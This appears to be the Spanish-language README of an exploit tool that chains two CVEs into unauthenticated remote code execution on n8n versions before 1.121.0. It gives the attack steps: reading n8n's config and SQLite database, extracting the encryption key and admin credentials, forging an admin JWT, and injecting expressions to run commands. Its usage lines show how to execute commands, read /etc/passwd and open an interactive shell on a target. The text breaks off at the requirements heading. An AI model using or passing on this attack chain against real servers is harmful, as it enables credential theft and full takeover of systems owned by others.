CVE-2026-21858 + CVE-2025-68613 - Exploit RCE en n8n

Cadena RCE no autenticada para n8n < 1.121.0 (CVSS 10.0)

Cadena de ataque

1. CVE-2026-21858 - Confusión de Content-Type → leer /home/node/.n8n/config y database.sqlite
2. Extraer la clave de cifrado y las credenciales de administrador de los archivos
3. Forjar un token JWT de administrador
4. CVE-2025-68613 - Inyección de expresiones → ejecutar comandos mediante child_process

Uso

# Ejecutar comando
python3 exploit.py http://target:5678 /form/test --cmd "id"

# Leer archivo
python3 exploit.py http://target:5678 /form/test --read /etc/passwd

# Shell interactivo
python3 exploit.py http://target:5678 /form/test

Requisitos